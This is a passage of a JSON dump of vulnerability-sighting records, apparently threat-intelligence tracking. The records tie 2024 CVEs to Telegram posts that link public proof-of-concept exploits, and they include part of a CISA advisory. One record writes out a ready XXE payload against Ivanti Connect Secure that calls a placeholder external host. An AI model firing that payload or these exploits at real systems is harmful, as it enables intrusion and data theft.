"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10025", "content": "#exploit\n1. XAMPP Buffer Overflow (Unicode+SEH)\nhttps://www.exploit-db.com/exploits/51800\n\n2. CVE-2024-22532:\nXnSoft XnView 2.51.5 and NConvert 7.163 - Heap-based Buffer Overflow\nhttps://github.com/pwndorei/CVE-2024-22532\n\n3. CVE-2024-22319:\nIBM ODM RCE\nhttps://labs.watchtowr.com/double-k-o-rce-in-ibm-operation-decision-manager", "creation_timestamp": "2024-02-23T12:23:01.000000Z"}, {"uuid": "2bdfd414-e341-4615-86d0-e3c4a3d27ff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10795", "content": "#exploit\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401", "creation_timestamp": "2024-07-08T03:16:55.000000Z"}, {"uuid": "8194b6dc-3f9d-456c-833e-7bf80da2838d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22064", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10911", "content": "#cryptography\n#WLAN_Security\n\"Diffie Hellman Picture Show: Key Exchange Stories from Commercial VoWiFi Deployments (CVE-2024-22064)\", 2024.", "creation_timestamp": "2024-07-31T23:46:54.000000Z"}, {"uuid": "7ba75906-3739-4d36-b221-d42ee66395c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10544", "content": "#exploit\n1. CVE-2024-4947:\nType Confusion in V8 (Chrome)\nhttps://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html\n\n2. CVE-2024-22120:\nTime Based SQL Injection/RCE in Zabbix Server Audit Log\nhttps://github.com/W01fh4cker/CVE-2024-22120-RCE", "creation_timestamp": "2024-05-22T14:16:26.000000Z"}, {"uuid": "028e3ea8-a33d-440d-b84f-6293a4780ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10537", "content": "#Red_Team_Tactics\n1. Exploiting CVE-2024-22026:\nRooting Ivanti EPMM \"MobileIron Core\"\nhttps://www.redlinecybersecurity.com/blog/exploiting-cve-2024-22026-rooting-ivanti-epmm-mobileiron-core\n2. HTB Sherlock: Logjammer\nhttps://0xdf.gitlab.io/2024/05/16/htb-sherlock-logjammer.html", "creation_timestamp": "2024-05-21T02:28:06.000000Z"}, {"uuid": "1e901c38-de0a-4174-9e82-a75df9fe75ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10741", "content": "#exploit\n1. CVE-2024-22729:\nNetis MW5360 RCE\nhttps://packetstormsecurity.com/files/179200/Netis-MW5360-Remote-Command-Execution.html\n\n2. CVE-2024-30088:\nWindows Kernel\u00a0EoP/TOCTOU LPE\nhttps://github.com/tykawaii98/CVE-2024-30088\n]-> kernel exploit for Xbox SystemOS:\nhttps://github.com/exploits-forsale/collateral-damage", "creation_timestamp": "2024-09-19T17:03:59.000000Z"}, {"uuid": "769dfce2-3c67-463a-bbf6-1730baef7506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10921", "content": "#exploit\n1. Heap exploitation, glibc internals and nifty tricks\nhttps://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html\n\n2. CVE-2024-22243:\nURL-parsing vulnerability in Java Spring Framework\nhttps://github.com/SeanPesce/CVE-2024-22243", "creation_timestamp": "2024-08-02T12:35:59.000000Z"}, {"uuid": "469535ae-fbe2-41af-b17c-2b4b723741d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11061", "content": "#exploit\n1. CVE-2024-6670:\nBreaking Down Barriers: Exploiting Pre-Auth SQL Injection in WhatsUp Gold\nhttps://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670\n\n2. CVE-2024-22263:\nSpring Cloud Dataflow Arbitrary File Writing Scanner\nhttps://github.com/securelayer7/CVE-2024-22263_Scanner", "creation_timestamp": "2024-10-02T10:55:23.000000Z"}, {"uuid": "193e5e7e-a664-4c12-bef6-2c7993f445c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22269", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11455", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T12:05:04.000000Z"}, {"uuid": "d2bda038-7705-4f81-8d91-96908900371c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11455", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T12:05:04.000000Z"}, {"uuid": "cb203911-da75-4d2d-87d1-59e9326b54f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/6181", "content": "CVE-2024-22024 - XXE on Ivanti Connect Secure \n\npayload encoded base64:\n\n<?xml version=\"1.0\" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM \"http://{{external-host}}/x\"> %xxe;]><r></r>\n\n\u26a0\ufe0f send it to  127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm\n\n#CVE #Payload \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2024-02-10T09:36:48.000000Z"}, {"uuid": "33acbc0e-4ee3-439b-a6c0-e8621e523fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22237", "type": "seen", "source": "https://t.me/ctinow/197582", "content": "https://ift.tt/vVbWM9k\nCVE-2024-22237 | VMware Aria Operations for Networks prior 6.12 privileges management (VMSA-2024-0002)", "creation_timestamp": "2024-03-01T13:11:37.000000Z"}, {"uuid": "bebbd1a8-efd3-422e-9d35-2adccf90e0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22238", "type": "seen", "source": "https://t.me/ctinow/197583", "content": "https://ift.tt/pWGD8hw\nCVE-2024-22238 | VMware Aria Operations for Networks prior 6.12 cross site scripting (VMSA-2024-0002)", "creation_timestamp": "2024-03-01T13:11:38.000000Z"}, {"uuid": "8f4a78c2-99fa-428e-979e-874c0e442614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22239", "type": "seen", "source": "https://t.me/ctinow/197610", "content": "https://ift.tt/RpKEsPx\nCVE-2024-22239 | VMware Aria Operations for Networks prior 6.12 Console privileges management (VMSA-2024-0002)", "creation_timestamp": "2024-03-01T13:41:32.000000Z"}, {"uuid": "2c2ab33e-d888-462e-ad38-2ddbf8e7a4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22240", "type": "seen", "source": "https://t.me/ctinow/197611", "content": "https://ift.tt/IE3RPQk\nCVE-2024-22240 | VMware Aria Operations for Networks prior 6.12 information disclosure (VMSA-2024-0002)", "creation_timestamp": "2024-03-01T13:41:33.000000Z"}, {"uuid": "be46b881-db61-46fa-813a-74871003e035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22241", "type": "seen", "source": "https://t.me/ctinow/197612", "content": "https://ift.tt/y1RhBSE\nCVE-2024-22241 | VMware Aria Operations for Networks prior 6.12 cross site scripting (VMSA-2024-0002)", "creation_timestamp": "2024-03-01T13:41:34.000000Z"}, {"uuid": "3c78d2fc-ebd5-46b0-9005-57c2c55ac02c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/ctinow/203445", "content": "https://ift.tt/7LpluAv\nCVE-2024-22250 | VMware Enhanced Authentication Plug-in session fixiation (VMSA-2024-0003)", "creation_timestamp": "2024-03-08T17:21:37.000000Z"}, {"uuid": "a3d830d0-8237-4947-b31e-66fecc953ca4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22251", "type": "seen", "source": "https://t.me/ctinow/207860", "content": "https://ift.tt/ZoX7wYh\nCVE-2024-22251 | VMware Workstation/Fusion USB CCID out-of-bounds (VMSA-2024-0005)", "creation_timestamp": "2024-03-14T15:21:52.000000Z"}, {"uuid": "6046f3fb-a9dc-477b-8bf7-15c96b3ded4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2665", "content": "#exploit\n1. CVE-2024-22894:\nWithin heatpump root user\u00a0psw decrypt/crack\nhttps://github.com/Jaarden/CVE-2024-22894\n\n2. CVE-2024-23746:\nMiro Desktop 0.8.18 on macOS allows Electron code injection\nhttps://github.com/louiselalanne/CVE-2024-23746\n\n3. CVE-2023-6112:\nChrome content::NavigationURLLoaderImpl::FallbackToNonInterceptedRequest Heap UaF\nhttps://packetstormsecurity.com/files/176721/Chrome-content-NavigationURLLoaderImpl-FallbackToNonInterceptedRequest-Heap-Use-After-Free.html", "creation_timestamp": "2024-08-16T09:12:55.000000Z"}, {"uuid": "ae65e86f-81e5-47c6-834b-8b562849e64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22269", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/5154", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T15:33:47.000000Z"}, {"uuid": "fb826fa1-f0c5-466e-95ed-91d57a5f0615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/5154", "content": "#exploit\nVMware Workstation:\nEscaping via a New Route - Virtual Bluetooth\n(CVE-2024-22267, CVE-2024-22269)", "creation_timestamp": "2024-11-19T15:33:47.000000Z"}, {"uuid": "d109b2f5-450a-407e-b534-77beb5d52e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22641", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/3435", "content": "#exploit\n1. CVE-2024-24401:\nSQLi in Nagios XI 2024R1.01\nhttps://github.com/MAWK0235/CVE-2024-24401\n\n2. CVE-2024-32136:\nWP BWL Advanced FAQ Manager plugin <=2.0.3 - Auth. SQLi\nhttps://github.com/xbz0n/CVE-2024-32136\n\n3. CVE-2024-22641:\nTCPDF ReDoS if parsing an untrusted SVG file\nhttps://github.com/zunak/CVE-2024-22641", "creation_timestamp": "2024-08-16T11:16:31.000000Z"}, {"uuid": "6daa48c4-37d6-47df-ab7c-1dee240624f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/3531", "content": "#exploit\n1. Heap exploitation, glibc internals and nifty tricks\nhttps://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html\n\n2. CVE-2024-22243:\nURL-parsing vulnerability in Java Spring Framework\nhttps://github.com/SeanPesce/CVE-2024-22243", "creation_timestamp": "2024-08-16T11:18:09.000000Z"}, {"uuid": "ffa8baa9-bbd4-45b2-b42d-46c4a7278309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2661", "content": "#exploit\n1. CVE-2024-23897:\nJenkins RCE PoC\nhttps://github.com/binganao/CVE-2024-23897\n]-> https://github.com/wjlin0/CVE-2024-23897\n]-> scanner: https://github.com/xaitax/CVE-2024-23897\n\n2. CVE-2024-22514:\nRCE in Agent DVR\nhttps://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution\n\n3. CVE-2022-4262:\nType Confusion in V8\nhttps://github.com/mistymntncop/CVE-2022-4262", "creation_timestamp": "2024-08-16T09:12:53.000000Z"}, {"uuid": "6743df7c-5225-4cf8-9997-04a44a5a16f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4320", "content": "#exploit\n1. Breaking Down Barriers: Exploiting Pre-Auth SQL Injection in WhatsUp Gold\nhttps://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670\n\n2. CVE-2024-22263:\nSpring Cloud Dataflow Arbitrary File Writing Scanner\nhttps://github.com/securelayer7/CVE-2024-22263_Scanner", "creation_timestamp": "2024-09-01T04:26:06.000000Z"}, {"uuid": "08cff13c-ae7c-4990-ac23-2dccce553aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22145", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2544", "content": "#exploit\n1. CVE-2024-0679:\nColorMag <=3.1.2 - Missing Authorization to Authenticated Arbitrary Plugin Installation/Activation\nhttps://github.com/RandomRobbieBF/CVE-2024-0679\n\n2. HEVD Exploit - Bypassing KVA Shadow/SMEP on Win10 22H2\nhttps://github.com/ommadawn46/HEVD-Arbitrary_Overwrite-KVA_Shadow\n\n3. CVE-2024-22145:\nInstaWP Connect - Missing Authorization to Arbitrary Options Update\nhttps://github.com/RandomRobbieBF/CVE-2024-22145", "creation_timestamp": "2024-08-16T09:02:39.000000Z"}, {"uuid": "f9e2b0c8-c409-48aa-af39-19ee4c9903c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2634", "content": "#exploit\n1. CVE-2024-22894:\nWithin heatpump root user\u00a0psw decrypt/crack\nhttps://github.com/Jaarden/CVE-2024-22894\n\n2. CVE-2024-23746:\nMiro Desktop 0.8.18 on macOS allows Electron code injection\nhttps://github.com/louiselalanne/CVE-2024-23746\n\n3. CVE-2023-6112:\nChrome content::NavigationURLLoaderImpl::FallbackToNonInterceptedRequest Heap UaF\nhttps://packetstormsecurity.com/files/176721/Chrome-content-NavigationURLLoaderImpl-FallbackToNonInterceptedRequest-Heap-Use-After-Free.html", "creation_timestamp": "2024-08-16T09:12:43.000000Z"}, {"uuid": "c0df3271-51d2-4c7a-a9bc-921596507d7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2630", "content": "#exploit\n1. CVE-2024-23897:\nJenkins RCE PoC\nhttps://github.com/binganao/CVE-2024-23897\n]-> https://github.com/wjlin0/CVE-2024-23897\n]-> scanner: https://github.com/xaitax/CVE-2024-23897\n\n2. CVE-2024-22514:\nRCE in Agent DVR\nhttps://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution\n\n3. CVE-2022-4262:\nType Confusion in V8\nhttps://github.com/mistymntncop/CVE-2022-4262", "creation_timestamp": "2024-08-16T09:12:41.000000Z"}, {"uuid": "9c9b267e-840a-4411-ae4d-ca49c73059c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2706", "content": "#exploit\n1. CVE-2023-42820,\nCVE-2023-42820,\nCVE-2023-42819:\nJumpserver Preauth RCE Exploit Chain\nhttps://sites.google.com/site/zhiniangpeng/blogs/Jumpserver\n\n2. CVE-2024-20931:\nA new attack surface for JNDI injection\nhttps://github.com/GlassyAmadeus/CVE-2024-20931\n\n3. CVE-2024-22899 - 22903:\nExploit Chain for Multiple Vulnerabilities in VinChin Backup & Recovery\nhttps://github.com/Chocapikk/CVE-2024-22899-to-22903-ExploitChain", "creation_timestamp": "2024-08-16T09:13:13.000000Z"}, {"uuid": "ec4e63c3-ac62-4161-b261-271b38662132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22859", "type": "seen", "source": "https://t.me/kasraone_com/652", "content": "\ud83d\udd34CVE\n\n     CVE-2024-22859\n\n\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Cross-Site Request Forgery (CSRF) \u062f\u0631 livewire \u0642\u0628\u0644 \u0627\u0632 \u0646\u0633\u062e\u0647 3.0.4\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u062a\u0627\u0628\u0639 getCsrfToken \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. \u062a\u0648\u062c\u0647: \u0641\u0631\u0648\u0634\u0646\u062f\u0647 \u0628\u0627 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u062e\u0627\u0644\u0641\u062a \u0645\u06cc \u06a9\u0646\u062f \u0632\u06cc\u0631\u0627 commit 5d88731 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u0642\u0627\u0628\u0644\u06cc\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 (\u06a9\u062f\u0647\u0627\u06cc \u0648\u0636\u0639\u06cc\u062a HTTP 419 \u0628\u0631\u0627\u06cc \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u0634\u062a\u0631\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc) \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0646\u0647 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc.\n\n\n\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u2661 \u2800\u2800 \u3007\u2800\u00a0 \u2800 \u2399\u2800\u200c \u200c \u2332\u2063 \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u02e1\u2071\u1d4f\u1d49\u00a0 \u1d9c\u1d52\u1d50\u1d50\u1d49\u207f\u1d57\u00a0 \u02e2\u1d43\u1d5b\u1d49\u00a0 \u02e2\u02b0\u1d43\u02b3\u1d49\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 K1\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 kasraone", "creation_timestamp": "2024-02-13T21:53:24.000000Z"}, {"uuid": "f923a235-4f66-4ebb-b68d-dd21cfbdc284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4683", "content": "CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing #SpringCloudDataflow #ArbitraryFileWriting #PatchDiffing #StaticAnalysis #LabSetup https://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2026-08-02T05:02:15.053625Z"}, {"uuid": "52401567-0995-4a3b-a186-30ab27a6d4a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22002", "type": "seen", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-29T23:00:04.669640Z"}, {"uuid": "3dada105-c79c-4a3f-8647-3342baf82f8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-08-02T09:00:04.896542Z"}, {"uuid": "146415e9-ad69-4fa6-a9eb-4b39f28e168e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-08-02T09:00:04.832070Z"}, {"uuid": "90676a09-0068-4f10-a32f-345d4f6e48dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22002", "type": "published-proof-of-concept", "source": "Telegram/ZCILXLquzGbXFQcaZlOXv9dkF48Tloh98M2Ojf7eGNskguU", "content": "", "creation_timestamp": "2026-08-30T00:00:09.283352Z"}, {"uuid": "62c9bd8b-79a1-4fdf-8f34-035a4206a91b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "seen", "source": "https://t.me/pentestnotes/53", "content": "CVE-2024-22853\n\nNone\n\nGithub link:\nhttps://github.com/FaLLenSKiLL1/CVE-2024-22853", "creation_timestamp": "2026-08-04T13:00:17.627082Z"}, {"uuid": "9b7377da-0ffd-48d6-8ff9-f9f751495430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-16", "content": "View CSAF\n\nSummary\n\nRuggedcom Rox before v2.17.1 contain multiple third-party vulnerabilities. Siemens has released new versions for the affected products and recommends to update to the latest versions.\n\nThe following versions of Siemens Ruggedcom Rox are affected:\n\n\n\nRUGGEDCOM ROX MX5000 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX MX5000RE vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1400 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1500 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1501 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, CVE-2019-14192, CVE-2019-14193, CVE-2019-14194, CVE-2019-14195, CVE-2019-14196, CVE-2019-14197, CVE-2019-14198, CVE-2019-14199, CVE-2019-14200, CVE-2019-14201, CVE-2019-14202, CVE-2019-14203, CVE-2019-14204, CVE-2020-10648, CVE-2022-2347, CVE-2022-30552, CVE-2022-30790, CVE-2022-34835, CVE-2023-3019, CVE-2023-27043, CVE-2024-3447, CVE-2024-22365, CVE-2024-57256, CVE-2024-57258, CVE-2025-0395, CVE-2025-3576, CVE-2025-6020, CVE-2025-7425, CVE-2025-9714, CVE-2025-46836, CVE-2025-49794, CVE-2025-49796)\n\nRUGGEDCOM ROX RX1510 vers:intdot/<2.17.1 (CVE-2019-13103, CVE-2019-13104, CVE-2019-13106, 